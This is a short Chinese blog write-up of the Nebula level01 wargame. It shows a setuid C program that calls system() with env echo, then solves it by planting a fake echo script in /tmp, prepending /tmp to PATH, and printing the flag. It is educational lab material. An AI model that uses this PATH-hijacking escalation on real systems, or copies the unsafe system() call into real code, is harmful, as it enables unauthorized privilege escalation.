i春秋 - Exploit-Exercises: Nebula - level01

原创

jchalex 于 2017-02-25 21:27:03 发布

分类专栏： exploit 文章标签： exploit

About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

Source code

```
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}
```

Nebula官网

思路

覆盖环境变量PATH中的echo命令

```
cd /tmp
vim echo
```

```
cat /home/flag01/flag
```

```
chmod 755 echo
PATH=/tmp:$PATH
/home/flag01/flag01
```

```
level01@nebula:/tmp$ /home/flag01/flag01
flag{BPWOUGJJTl
level01@nebula:/tmp$
```